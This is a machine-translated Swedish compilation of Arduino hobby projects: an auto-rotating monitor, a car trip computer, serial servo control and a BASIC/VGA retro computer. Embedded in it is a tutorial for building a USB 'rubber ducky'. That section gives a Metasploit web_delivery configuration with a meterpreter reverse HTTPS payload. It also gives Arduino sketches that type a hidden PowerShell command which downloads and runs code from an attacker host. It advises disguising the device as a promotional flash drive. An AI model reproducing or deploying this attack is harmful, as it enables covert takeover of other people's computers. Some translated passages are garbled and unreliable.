Vi monterar en automatisk roterande enhet för datorskärmen på Arduino. Omborddator och många andra gör-det-själv Arduino-projekt användbara för bilar

Lär dig hur du skapar en enhet som upptäcker när en datorskärm fysiskt roteras och automatiskt säger åt datorn att rotera skärmen därefter.

För närvarande Ett stort antal digitalt innehållär smal och hög (porträttorientering), men mest datorskärmarär breda och låga (liggande orientering). Detta innebär att mycket skärmutrymme går till spillo. Jämför de två skärmdumparna nedan. I liggande vy är bara en och en halv stolpe synliga och i stående - 3.



Av denna anledning, när du tittar sociala nätverk Att rotera bildskärmen 90° kan vara bra, men att byta bildskärmsinställningar fram och tillbaka kan vara för tråkigt. Detta gäller särskilt om du har flera bildskärmar eller en dator som inte fungerar standardkombinationer snabbtangenter. Idag ska jag visa dig hur du skapar en enhet som automatiskt säger åt datorn att rotera skärmen när bildskärmen roteras fysiskt.

Funktionsprincip

Enheten kommer att monteras på Arduino och installeras på baksidan av monitorn. För att bestämma riktningen använder vi accelerometern. PÅ stationärt läge accelerometern tolkar gravitationen som en acceleration uppåt på 9,8 m/s 2 . Accelerometern kommer att kommunicera med Arduino via I2C-gränssnittet. Arduino kommer hela tiden att övervaka (poll) i vilken riktning accelerometern tror att den accelererar. På Arduino förändring via USB skickar en signal till datorn. Ett python-skript som körs på datorn kommer att läsa denna ändring och tala om för datorn att rotera skärmen i rätt riktning.

Den här artikeln förklarar hur du implementerar detta på Windows och Linux. Du kan förmodligen göra det på en Mac också. Men eftersom jag inte har en Mac kan jag inte prova det. Den enda skillnaden är systemkommando Den anropade av Python-skriptet.

Anslut Arduino med USB-kabel till datorn.

Som nämnts tidigare kan vi använda accelerometern för att bestämma riktning genom att mäta vilken riktning 9,8 m/s 2 accelerationen läser. Eftersom monitorn alltid kommer att vara antingen vertikal eller horisontell kommer detta att vara enkelt (om vi var tvungna att ta hänsyn till diagonala orienteringar skulle det vara svårare).

Vid programmering anses det vara god praxis att separera kod i olika aspekterolika filer. För att bestämma orienteringen skrev vi ett bibliotek baserat på det officiella MMA7455-biblioteket. Detta tillåter oss att abstrahera bort detaljerna om hur detta görs, så vår huvudfil kan förbli enkel, den kontrollerar bara orienteringen med ett enda funktionsanrop och skickar ett meddelande till datorn när den ändras.

Ladda ner och packa upp följande arkiv:

Öppna monitor.ino in Arduino IDE. Kompilera och kör koden (alla 3 Arduino-filer måste vara i samma katalog). öppen bildskärm serieport Verktyg > Serial Monitor eller med Ctrl + Shift + M .

Du borde se något liknande:

Freescale MMA7455 accelerometer maj 2012 MMA7455 är okej STATUS: 0 WHOAMI: 55 Förutsatt att enheten är Y_POS

Ta nu Arduino så att den är parallell med det vertikala planet. Rotera den (även i ett vertikalt plan). Varje gång du vrider dig 90° bör du se något i stil med detta:

Rotera Övervakningsändring upptäckt Rotera Övervakningsändring upptäckt Rotera Övervakningsändring upptäckt Rotera Övervakare

Ställ in enheten på bakpanelen monetizer och anslut den till datorn med via USB kabel. Du kan använda vilken metod som helst för att installera. Jag använde plaststativ och dubbelhäftande tejp.

Vi måste kalibrera accelerometern så att den vet åt vilket håll den pekar när den är påslagen. Denna initiering kommer att göras varje gång Arduino slås på. När det används på en bildskärm kan det vara när du slår på datorn (beroende på om strömmen är påslagen USB uttag ah, när datorn är avstängd). Därför, när du slår på din dator, förväntar den här enheten att din bildskärm är i den position som du har definierat som standardposition. Om den inte är det kommer Arduino att tala om för datorn att skärmen inte är rätt roterad, eller så kommer den att bli desorienterad och inte säga åt datorn att rotera alls.

När du monterar din enhet på baksidan av bildskärmen, var uppmärksam på vilken riktning som är uppåt när din bildskärm är i sitt standardläge (vilket är där den troligen är när du slår på datorn).

Det finns en kodrad i monitor.ino som måste ändras i enlighet med detta. Om y-pilen på accelerometern pekar uppåt, lämna då Y_POS i raden. Om pilen pekar nedåt, ändra linjen till Y_NEG . På samma sätt med x-axeln, använd X_POS och X_NEG .

#define START_ORIENTATION Y_POS

Om du vill förstå hur koden fungerar, fortsätt läsa. Om du bara behöver en fungerande produkt kan du hoppa till avsnittet "Kod från datorsidan".

Kodförklaringar

Låt oss titta på MMA7455.h .

Typdef enum (Y_POS, Y_NEG, X_POS, X_NEG, Z_POS, Z_NEG, NOT_SURE) orientering;

En enum i C är en datatyp, som int eller char . Den används för variabler som säkert kan vara ett av värdena i en kort lista över icke-numeriska variabler. PÅ det här fallet vi använder enum för att lagra enhetsorientering i en variabel.

Titta på accelerometern. Du kommer att se x- och y-pilar på den. När x-pilen pekar uppåt måste vi ange X_POS . När x-pilen pekar nedåt måste vi ange X_NEG . Z-axeln pekar mot tavlan. När tavlan ligger på bordet horisontellt läge, detta tillstånd betecknas med Z_POS .

När den är monterad på baksidan av en bildskärm måste enheten alltid peka uppåt eller nedåt i x-axeln eller y-axeln. I monitor.ino har vi skapat ett makro som heter VALID_ORIENTATION för att kontrollera om specificerad orientering en av 4 alternativ. Som du kan se kan vi kontrollera värdet på en uppräkning precis som värdena för alla andra datatyper.

#define VALID_ORIENTATION(o) ((o==Y_POS) || (o==Y_NEG) || (o==X_POS) || (o==X_NEG))

Funktionen setup() är mestadels diagnostik. Den innehåller tre viktiga rader:

Serial.begin(9600);

Raden ovan initierar anslutningen med serieport, genom vilken vi kommer att interagera med datorn.

Wire.begin();

Initierar kommunikation på I2C-bussen, genom vilken vi kommer att interagera med accelerometern. Den initierar endast inställningarna på Arduino-sidan. Vi initierar accelerometern med följande linje:

Fel = MMA7455_init(START_ORIENTATION);

När du trycker på en knapp stängs dess kontakter inte perfekt. De "surrar" och signalen ser ut som om användaren har tryckt på knappen flera gånger inom några millisekunder. Vi väntar 100 ms för att säkerställa att vår kod inte tolkar detta buzz som en tangenttryckningssekvens. Det finns två sätt att hantera kontaktstuds. Vi kan implementera antingen hårdvaru- eller mjukvarukontaktundertryckning. Hårdvarumetoden innebär att ett filter läggs till kretsen låga frekvenser antingen aktiv eller passiv. För det handlar om att köpa och löda ytterligare komponenter, jag valde programvara debounce istället.

Accelerometern vi använder har vissa avbrottsfunktioner, men de är inte tillämpliga i vårt fall. Det var därför vi tog till omröstning (avbrott är att föredra ur prestationssynpunkt). Som regel, när du arbetar med knappar, rekommenderas det att använda avbrott. Men eftersom vi redan pollar accelerometern kan vi också polla knappen samtidigt.

Varje gång i slingan kollar vi om knappen är intryckt det här ögonblicket. Om det är det, och det inte trycktes förra gången, vet vi att användaren precis tryckte på det, och så kör vi funktionen setup() igen och skickar START_ORIENTATION till datorn. Sedan väntar vi 100 ms innan vi fortsätter. Denna fördröjning behövs så att innan du fortsätter Arduino fungerar väntade på att kontakterna skulle etablera ett sluttillstånd. Visserligen är detta ett ganska slarvigt och lat förhållningssätt till mjukvaruavvisning eftersom Arduino inte gör något under förseningen. Ett mer sofistikerat tillvägagångssätt skulle inkludera timers så att medan Arduino väntar på att stiften ska lösa sig, kan annan kod exekveras. I det här specifika fallet är det enda vi går miste om genom att använda en fördröjning istället för en timer att ändra accelerometerns avläsning. Eftersom detta inte bör hända när användaren klickar på knappen, är denna slarviga metod acceptabel. Den enda fördelen med fördröjningsmetoden är enkelheten. Debounce av hårdvara kräver ytterligare komponenter, och kodning för avbrott och förseningar kan vara svårt.

)else if(!digitalRead(BUTTON_PIN) // knappen har tryckts in && previous_button_state) // och detta är första gången den har tryckts ned ( // skicka även om orienteringen till ändrades setup(); // omkalibrera sendOrientation (START_ORIENTATION); delay(100); //programmatiskt undertryckande av kontaktstuds föregående_knapp_tillstånd = 0; )

Kod på datorns sida

Arduino kommer att skicka informationen till datorn med samma seriella gränssnitt som vi använder för att programmera och felsöka den. För att undvika konflikter, se till att serieportmonitorn i Arduino IDE är stängd när skriptet körs. Om den är öppen kommer vissa meddelanden från Arduino att fångas upp av serieportmonitorn och skriptet kommer inte att se dem eller bara en del av dem kommer att se dem.

På datorsidan kommer vi att använda Python-kod. Den kommer att lyssna på vad Arduino skriver till det seriella gränssnittet och köra systemanrop för att rotera displayen.

Linux-användare kan hoppa över nästa underavsnitt och gå till undersektionen "Linux".

Windows

Om du har flera bildskärmar gör du följande (om du bara har en bildskärm, hoppa över det här stycket). Öppna en kommandotolk där du sparade display.exe (öppna File Explorer på den platsen, sedan Skift+Högerklicka på bakgrunden av File Explorer och välj "Öppna kommandofönster"). Ange display.exe /listdevices i konsolen. Du bör kunna se indexet för var och en av dina bildskärmar. Var uppmärksam på indexet för skärmen du vill rotera.

Python-skriptet öppnar en anslutning till USB-porten. När den upptäcker ett meddelande från Arduino kommer den att skicka lämpligt kommando till display.exe-verktyget, som kommer att rotera skärmen. Hitta nästa rad och peka på katalogen där display.exe finns:

Kommando = "C:/.../display.exe /rotate:" + översättning

Användare med flera bildskärmar måste lägga till /device x (där x är indexet för din bildskärm). Du kommer att få något liknande:

Kommando = "C:/.../display.exe /enhet 2 /rotate:" + översättning

Vid kommandotolken navigerar du till katalogen där du sparade display.exe och windows-script.py . Detta kan göras med kommandot cd. Om de till exempel är lagrade i Dokument/rotera, använd:

Cd Dokument/rotera

Skriv nu dir för att se listan över filer i katalogen. Dubbelkolla att den har båda filerna. Låt oss nu köra python-skriptet.

Python windows-script.py

Prova att rotera enheten. Displayen måste rotera i rätt riktning.

Nu behöver vi Windows för att köra detta program i bakgrund när du slår på din dator. Som standard startas startprogram som synliga. Men vi vill inte se fönstret hela tiden kommandorad. Därför kommer vi att skapa en batchfil som kör ett python-skript i bakgrunden och sedan köra detta kommandofil kommer att färdigställas.

Öppna först startkatalogen. Platsen för denna mapp beror på Windows-versioner. Klick Windows-nyckel och sedan R. Ett startfönster bör visas. Skriv shell:startup och tryck på Retur . Du bör nu se startkatalogen. Skapa en ny där textfil monitor.bat och klistra in följande kod i den. Ändra sökvägen så att den pekar på python-skriptet.

@echo av STARTA pythonw C:\...\windows-script.py

Vi använder pythonw istället för python eftersom det krävs för att dölja kommandofönstret pythonsträngar manus.

Starta nu om datorn och kontrollera att allt fungerar. Om allt är bra kan du hoppa till slutet av artikeln.

linux

Allt är klart!

Sätt dig nu ner och njut mer effektiv användning platser på din bildskärm.

10 oktober 2017 klockan 21:09

Hacka en dator på 3 sekunder. Skapa en USB-anka från grunden med Arduino

  • DIY eller DIY
  • Översättning

Låt oss börja med det traditionella "Detta material presenteras endast för utbildningsändamål." Om du använder den här informationen för att hacka HBO och släppa nästa säsong av Game of Thrones gratis på YouTube, ja...bra. I den meningen att jag inte uppmuntrar sådant beteende på något sätt.

Om du inte vet vad en "gummianka" (USB Rubber Ducky) är, är det här enheten som Hak5 gjorde, på bilden. Den ser ut och beter sig som en vanlig flash-enhet, men den kan programmeras för mycket snabbt inträde tangenter från tangentbordet. "Duck" kan hacka vilket system som helst på några sekunder. Den enda nackdelen är att du behöver fysisk åtkomst till datorn. Och det kostar $50, vilket är anledningen till att jag skrev den här artikeln.

Vi använder 5V Adafruit Trinket och microUSB-kabel- det är allt vi behöver.

Lyckligtvis tillhandahåller Adafruit ett bibliotek för USB-tangentbordsgränssnittet, så vi gör #include direkt. Du måste installera biblioteket enligt denna guide.

#omfatta

Vi kan leka med biblioteket först, låt oss börja med att initiera flashenheten som en HID-enhet med metoden begin().

#omfatta void setup() ( TrinketKeyboard.begin(); ) void loop() ( TrinketKeyboard.print("Hjälp, jag är instängd i en dator! \n"); delay(500); )

Ser bra ut. Låt oss nu köra kommandona på offrets dator. Detta kan göras genom att "trycka" på Windows-tangenten, skriva cmd, Enter och sedan själva kommandot.

#omfatta void pressEnter() ( TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); ) void winRun() ( TrinketKeyboard.pressKey(0x08, 0x15); delay( 30); TrinketKeyboard.pressKey(0,0); ) void setup() ( TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Kör cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter(); )
Bra. Låt oss skapa en exploatering i Metasploit-ramverket.

Vi kommer att använda modulen web_delivery. Jag valde det pga hög hastighet och låg sannolikhet för antivirusfunktion. Den skriver inte heller något till disken, så den lämnar inga spår när den är klar.

Här bryter vi Windows 10 64-bitars, så vi kommer att rikta in oss på PowerShell, men kom ihåg att detta inte är en exploatering mot PowerShell. Vi använder bara skalet för att ladda ner nödvändiga filer från servern.

Vi måste berätta för vårt program var de kan hämta binärfilerna från:

Ställ in LPORT 443

Metasploit genererar en slumpmässig URIPATH varje gång, och vi vill kunna starta och stoppa portlyssning när som helst utan att behöva kompilera om koden för stickan.

Ställ in URIPATH /

Nu måste du välja Powershell som leveransmetod. Exploateringen stöder tre mål markerade med identifierare: de är 0: Python, 1: PHP och 2: Powershell.

Låt oss nu ställa in nyttolasten. Jag använder reverse_https eftersom vi arbetar med port 443. För de flesta intrångsdetekteringssystem kommer det att se ut som en normal anslutning.

Ställ in PAYLOAD windows/meterpreter/reverse_https

Och slutligen utnyttja.

För att göra det bekvämt att stoppa och återuppta portlyssning, skapa konfigurationsfil: usb.rc

Använd exploit/multi/script/web_delivery
ställ in LHOST 1.2.3.4
set LPORT 443
ställ in URIPATH /
sätt MÅL 2
ställ in PAYLOAD windows/meterpreter/reverse_https
utnyttja

Vi får nyttolasten att köras på offrets dator:

Powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=::GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http ://1.2.3.4:8080/");

Nu kan vi köra det från en flash-enhet.

#omfatta void pressEnter() ( TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); ) void winRun() ( TrinketKeyboard.pressKey(0x08, 0x15); delay( 30); TrinketKeyboard.pressKey(0,0); ) void setup() ( TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Kör cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=: :GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http://1.2.3.4:8080/");"); delay(100); pressEnter(); ) void loop() ( // ingenting händer efter installationen)
Fungerar mycket bra. Vi behöver ungefär 40 sekunder för att knulla Daenerys, jag menar offrets dator.

På grund av ankans begränsade kraft är bootloadern inte alltid tillgänglig, som i en vanlig Arduino kan du bara ladda koden när du trycker på en knapp på flashenheten eller under de första 30 sekundernas drift. Det vill säga, de första 30 sekunderna efter att ha anslutit flashenheten, väntar vi tills koden faktiskt fungerar, och sedan ytterligare 10 sekunder för att skriva och köra skriptet. Det skulle vara mycket användbart att minska åtkomsttiden med 75 %. Här är en trevlig person som redigerade firmwaren för att hoppa över bootloadern när den var ansluten. Vi tog koden och laddade om flashenheten, laddade om koden och ta-da - allt fungerar. Men du kan göra det ännu bättre: det skulle vara trevligt att gömma chippet i fodralet så att det inte väcker misstankar.

Jag valde ett av dessa oansenliga USB-minnen som rekryterare ger bort i miljoner och beställde dessa coola små microUSB till USB A OTG-adaptrar. Jag var tvungen att skära av de onödiga delarna tryckt kretskort så att den passar i fodralet, sätt i OTG-adaptern USB-fodral A och förseglade allt med superlim. Det ser inte alls misstänkt ut för mig, men 10 sekunder är mycket tid, speciellt när du gömmer dig för drakar.

Du kan också beställa Arduino Pro Micro på Amazon för cirka $10. Om du har tålamod kan du till och med hitta den på eBay för cirka $3 eller $4. Jag hade inte tillräckligt med USB-minne stor storlek för Pro Micro, så jag kopplade in OTG-adaptern, lindade tillbaka den med eltejp och lugnade ner mig.

Vi måste ändra programmet lite eftersom vi använder ett annat bibliotek, men det kommer att fungera som tidigare.

#include "Keyboard.h" void winRun() ( Keyboard.press(KEY_LEFT_GUI); Keyboard.press("r"); delay(30); Keyboard.releaseAll(); delay(100); ) void setup() ( Keyboard.begin(); delay(2000); winRun(); Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -nop -w hidden - c $C=new-object net.webclient;$C.proxy=::GetSystemWebProxy();$C.Proxy.Credentials=::DefaultCredentials;IEX $C.downloadstring("http://1.2.3.4:8080/ ");"); Keyboard.write(KEY_RETURN); ) void loop() ( // lägg din huvudkod här, för att köra upprepade gånger: )
Den största Advantage Pro Mikro är hastighet. Nu behöver vi bara 3 sekunder fysisk åtkomst. En riktig attack på språng. Om du tänker använda denna kraft, gör det för en god sak. Döda Cersei.

För cirka 25 USD kommer vi att göra en omborddator som kan läsa av bränsleförbrukning, kylvätsketemperatur, bilhastighet, trippsträcka, gasförbrukning per resa, motorvarvtal, insugningsgrenrörets tryck, insugningsgrenrörets temperatur, UOC och mer. Felåterställning är tillgänglig i |--recovery--| (hur man går in skrivs nedan). Avfrågningsdata från ecu:n sker ungefär 2 gånger per sekund.

Ett foto till














Lista över nödvändiga delar för montering av BC

1) Arduino Uno R3 - 1 st. ~$7:

2) LCD2004 LCD-modul ~$6:

3) Bluetooth-modul HC-05 ~ $4:

4) OBD ELM327 Bluetooth-skanner ~ $4:

5) 5 kOhm trimmermotstånd, pip för ljud, 2 knappar för att byta skärm, kablar för anslutningar, hölje ~ $ 3.

Installation av bluetooth-modulen HC-05 för arbete

Löd fast ledningarna till bluetooth-stiften: (se bilden med utgångarna i beskrivningen av de nödvändiga delarna)

  • 1 är TX
  • 2 är RX
  • 12 är 3,3V
  • 13 är GND
  • 34 - vi kastar också 3,3 V vid denna ingång (behövs för att sätta modulen i konfigurationsläge med AT-kommandon).

Vi ansluter bluetooth-modulen till arduino.

  • 1 - TX-modul i 6-stifts arduino. (uppmärksamhet kommer att vara TX till TX detta är inte ett fel!)
  • 2 - RX-modul i 7-stifts arduino. (det är inte heller en bugg!)
  • 12 - och 34 stift till 3,3V arduins.
  • 13 - GND arduino.

Öppna Aduino IDE och ladda upp skissen via USB-porten till kortet.

#omfatta
SoftwareSerial BTSerial(6, 7); //TX | RX
void setup()
{
Serial.begin(9600);
Serial.println("Ange AT-kommandon:");
BTSerial.begin(38400);
}

void loop()
{
if(BTSerial.available())
Serial.write(BTSerial.read());
if(Serial.available())
BTSerial.write(Serial.read());
}

Efter att ha laddat upp skissen, öppna: Verktyg->Port Monitor. Därefter, från botten, satte vi hastigheten till 9600 baud och NL + CR tillsammans.

AT // (kanske felet kraschar en gång, var inte rädd... det är ok, upprepa igen)
AT+NAME=Bil //Tilldela ett namn till bilmodulen
AT+ROLE=1 // Överför modulen till masterläge
AT+PSWD=1234 // Ställ in lösenord 1234 som på OBD ELM327
AT+BIND=AABB,CC,112233 //Ställ in Mac-adressen till OBD ELM327.
AT+CMODE=1 // Ansluta en modul med en fast adress

Observera att mac-adressen för formuläret: "AA:BB:CC:11:22:33" anges som "AABB,CC,112233". MAC-adress Du kan se din ELM327-modul genom att först ansluta till den från din mobiltelefon. ( Standardlösenord vanligtvis: 1234, 6789, 0000).

Det var allt, installationen av Bluetooth-modulen är klar.

Nu måste vi montera Arduino-kretsen, bluetooth, LCD-skärmen

1. Låt oss börja med att ansluta HC-05 bluetooth-modul.

  • 1 - vi sätter TX av modulen i 7 Pin (Rx) av arudinerna (exakt TX i RX, inte som tidigare);
  • 2 - sätt in RX-modulen i 8 Pin (Tx) på Arudins;
  • 12 - Pin (3,3V) på modulen i Pin 3,3V på arduino;
  • 13 - Pin (Gnd) till Gnd arduins;
  • 34 - Pin som vi inte ansluter någonstans (isolera eller lossa).

2. Anslut LCD-skärmen.

  • VSS-skärm till GND arduino;
  • VDD-skärm till 5V arduino;
  • V0 av skärmen till mittutgången av motståndet;
  • RS-skärm till arduino-stift 12;
  • RW-skärm till GND arduino;
  • Skärm E till arduino stift 11;
  • DB4-skärm till arduino pin 5;
  • Skärm DB5 till arduino stift 4;
  • DB6-skärm till arduino pin 3;
  • DB7-skärm till arduino pin 2;
  • A - till 5V arduiner;
  • K - GND arduino.

Resistorns återstående ben: sätt en på GND på arduino och den andra på 5V på arduino.

Ett 5k ohm variabelt motstånd behövs för att kontrollera kontrasten på monitorn, så om du slår på den för första gången och inte ser något, försök justera kontrasten på teckensnittet genom att vrida på motståndet.

3. Anslut ytterligare knapp för att byta dataskärm.

: ena änden från den normalt öppna knappen är ansluten till GND på arduino, och den andra änden till stift 10.
: GND + stift 9.

Anslut ljudsignalen för ljudvarningar enligt följande schema "+" till stift 13 och minus till GND på arduino.

Ladda upp en skiss till Arduino med Arduino IDE

Det enda är att det finns en variabel i skissen som behöver korrigeras i enlighet med volymen på din bil. Skissen är skriven på ett sådant sätt att det är tydligt för alla och vem som helst kan rätta vad de vill.

Tre variabler måste beaktas:

1) ED=2.000 Till exempel är motorvolymen i liter 1.398;
2) VE=80,00 ICE volymetrisk effektivitet: vanligtvis runt 80 (om förbrukningen verkligen är mindre, minskar vi värdet i procent). Om du inte vill kalibrera, se till att när motorn är varm är den momentana flödeshastigheten i l/h ungefär hälften av motorvolymen;
3) tcorrect=1,014(tidskalibrering).

Kanske kommer Arduino inte att exakt beräkna tiden med hjälp av kommandot millis () ... Justera bara värdet manuellt här. Skärmen "technological 2" kommer att visa sekunder: till exempel time_start: 23. Jämför värdet med det riktiga. Notera till exempel 10 minuter när värdet på time_start till exempel är lika med 23. Och det visar sig att det efter 600 sekunder faktiskt kommer att visa 605. Totalt 623-605 = 18 sekunders eftersläpning i arduino. Det vill säga, korrektionsfaktorn tcorrect kommer att vara lika med 623/605=1,02975.

Kontrollera

[Knapp 1], [knapp 2] - rulla skärmen fram och tillbaka.
När den är påslagen, med inskriptionen Connecting ..., håll nere [knapp 1] för att gå in i läget för att visa tekniska skärmar och parametrar som ges av datorn i decimalformat. Om du sätter på BC:n som inte finns i bilen, måste du inaktivera Bluetooth polling-funktionen, du måste fortsätta att hålla ned de två knapparna när inskriptionen |---Recovery--|... annars blir skärmen tom.

[Knapp 1] + [Knapp 2]: 4 sekunder - Återställ loggen för total körsträcka och förbrukad bensin.

Hur man styr Arduino från en dator via USB. Vi kommer att berätta hur du slår på lysdioden och styr servomotorn på Arduino med dator tangentbord via funktion Serial.available() och Serial.read(). Dessa funktioner kontrollerar om några kommandon kommer till mikrokontrollern via den seriella porten och läser sedan de inkommande kommandon som matas in i den seriella monitorn från datorn.

Arduino-styrning via dator

Fungera Serial.available() Hämtar antalet byte som är tillgängliga att läsa från serieporten. Dessa är byten som skickas från datorn och skrivs till serieportbufferten. Arduino Serial monitor buffert kan lagra maximalt 64 byte. Funktionen används även när Bluetooth-anslutning modul till Arduino och är användbar vid felsökning av en enhet för design.

Vid testning och trimning olika enheter styrs via Bluetooth, till exempel en robot eller en båt på en Arduino, behöver du kunskap om hur man styr en LED och en servomotor genom en dator. Därför ska vi nu överväga en enkel styrning av en servo via en dator via en USB-kabel. Samtidigt kan inte bara siffror utan även bokstäver i det latinska alfabetet skickas via monitorn.

Hur man styr Arduino från tangentbordet

För lektionen behöver vi följande detaljer:

  • board Arduino Uno / Arduino Nano/Arduino Mega;
  • brödskiva;
  • 1 LED och 220 Ohm motstånd;
  • 1 servo;
  • ledningar "far-far" och "far-mamma".

Du kan ta resten av ställdonen till Arduino UNO efter eget gottfinnande och försöka styra dem själv via en dator med en USB-kabel. Samlas på bakbord ett diagram med en lysdiod från den första lektionen Vad är Arduino och hur man använder den, och efter att ha monterat kretsen med en lysdiod, ladda upp följande skiss till mikrokontrollern.

Skiss. Arduino-kontroll från en dator

int värde; pinMode(13, OUTPUT); // deklarera stift 13 som utdata) void loop () ( if (val == "1") (digitalWrite(13, HIGH );) // vid 1 tändning av lysdioden if (val == "0") (digitalWrite(13, LÅG);) // vid 0 stäng av lysdioden } }

Förklaringar till koden:

  1. funktionen Serial.available() söker efter kommandon från datorn;
  2. funktionen Serial.read() läser data som tas emot av den seriella monitorn.
  3. i Villkorligt uttalande om (val == "1") det finns ett dubbelt likhetstecken "match", och enstaka citattecken måste användas inom parentes.

Efter att ha monterat kretsen laddar du upp följande skiss till tavlan

Skiss. Servostyrning från en dator

#omfatta // inkludera biblioteket för servo Servo servo // deklarera en servovariabel av typen "servo" int värde; // ledigt minne i styrenheten för variabeln void setup()( Serial.begin(9600); // anslut seriell port servo.attach(11); // bind servo till stift 11) void loop() ( // kontrollera om några kommandon kommer if (Serial.available())( val = Serial.read(); // variabel val är lika med det mottagna kommandot if (val == "1") (servo.write(10); ) // vid 1 rotera servo med 10 if (val == "2") (servo.write(45); ) // vid 2 rotera servo med 45 if (val == "3") (servo.write(90); ) // vid 3 rotera servo med 90 } }

Förklaringar till koden:

  1. i några exempel på program kan du hitta en sådan variant av att kontrollera utseendet på data i den seriella monitorn om (Serial.available()>0) .
  2. som kommandon kan du inte bara använda siffror utan även bokstäver. Det spelar ingen roll om bokstaven är stor eller liten.

C Arduino du kan bygga en 8-bitars retrodator med Basic (liknande ZX Spectrum) med färgutgång på en VGA-skärm.

Dessutom kan detta projekt användas som en enkel utdatametod textmeddelanden till monitorn.

I och för sig är idén att använda en Arduino för att bygga en BASIC-dator inte ny, men så vitt jag vet stöder ingen av dem färgutdata. Vissa projekt använde LCD-skärmar, medan andra använde ett bibliotek Tv ut, som ger ut svartvit bild. Dessutom kräver många av dessa projekt ytterligare moduler och speciella expansionskort. Där behöver du bara ha två Arduinos, några motstånd, plus kontakter för ett PS/2-tangentbord och en VGA-skärm.

Projektet kräver två arduino-brädor: en kommer att vara master (eller "master") som kör Tiny Basic Plus-tolken (detta är en C-port av Tiny Basic anpassad för att stödja Arduino). Även denna Arduino styr PS/2-tangentbordet. Utdata från den första Arduino via serieporten skickas till den andra Arduino, som med hjälp av biblioteket VGAx genererar en VGA-signal.

Program för GRUNDLÄGGANDE språk det kommer att vara möjligt att komma in i datorn vi har satt ihop med ett PS / 2-tangentbord, och resultatet kan ses på en VGA-skärm: upplösningen på den resulterande bilden är 24 kolumner med 10 rader, teckenstorleken är 5x6 pixlar, 4 färger finns tillgängliga.
Efter introduktionen av programmet kan det lagras i det icke-flyktiga minnet på Arduino själv, och programkoden ger också möjlighet att styra I/O-stiften på Arduino.

1. Vi ansluter huvudarduinon med TinyBasic-tolken och med ett PS / 2-tangentbord

TinyBasic Plus och VGAx-biblioteket fungerar med Arduino IDE 1.6.4.
Om du redan har mer än en ny version, då Det bästa beslutet- ladda ner den här versionen från den officiella webbplatsen i .zip-format och packa upp den i separat mapp. Du kan ladda ner den här versionen för Windows.

Då behöver vi PS2tangentbordsbiblioteket, som kan laddas ner härifrån. Efter nedladdningen är det bara att packa upp arkivet och kopiera dess innehåll till "arduino-1.6.4\libraries".

Om det inte finns några problem i detta skede (inklusive kompatibilitetsproblem), startar Tiny Basic automatiskt när du slår på Arduino. Och det kan testas med den seriella porten på din PC. För detta ändamål använder jag PuTTY, men du kan använda en annan liknande program, enligt din smak.

I inställningarna måste du ställa in COM-porten korrekt (samma som används i Arduino) och baudhastigheten = 4800.

Och här kan vi redan testa vårt system genom att skriva något Basic-program från tangentbordet på din PC (senare kommer vi att ansluta ett PS / 2-tangentbord direkt till Arduino).

Du kan till exempel skriva:

10 SKRIV UT "Hej världen!" 20 GÅ TILL 10 KÖR
avbryta oändlig cykel detta program kan göras med tangentkombinationen Ctrl+C (det fungerar inte om vi gör det från ett PS/2-tangentbord).

Låt oss nu ansluta ett PS/2-tangentbord.

2. Anslut PS/2-tangentbordet till huvud Arduino

Information och bibliotek togs från detta material.

I huvudsak måste du ansluta följande fyra stift:
Tangentbordsdata till Arduino pin 8,
Tangentbord IRQ (klocka) till Arduino pin 3;
och anslut även jord (GND) respektive +5V ström.

Jag använde en PS / 2-kontakt från en gammal icke-fungerande moderkort, den kan lätt blåsas av med en hårtork.

Pinouten på PS / 2-kontakten är i figuren:

3. Laddar biblioteket VGAx och kod i den andra Arduino, och anslut den till elnätet


Ladda först ner VGAx-PC.ino-koden och kopiera den till din dator i en mapp med samma namn.

Sedan - ladda ner VGAx-biblioteket från GitHub. Den måste placeras i undermappen "bibliotek" i Arduino IDE.

VIKTIG! Det här biblioteket fungerar med Arduno IDE 1.6.4 och kanske inte är kompatibelt med andra nyare versioner.

Ladda nu VGAx-PC.ino i den andra Arduino (jag testade med en Arduino Nano, men Arduino Uno borde inte heller vara något problem).

Inte tillräckligt med varning tillgängligt minne– Det här är normalt för vårt fall. Om det inte finns några andra fel är allt i sin ordning - och du kan ta ytterligare ett par steg för att få din egen 8-bitars retrodator.

För detta behöver du:

  • två Arduino Uno Rev.3, eller två Arduino Nano 3.x (baserat på ATmega328)
  • DSUB15-kontakt, dvs. VGA-uttag eller kabel med ett uttag du inte har något emot att klippa av
  • motstånd: 2 vid 68 ohm och 2 vid 470 ohm
  • PS2-kontakt
  • ledningar
  • valfritt: brödbräda

Det återstår att ansluta allt enligt diagrammet i figuren, och vår 8-bitars dator är klar!

Video om hur det hela fungerar: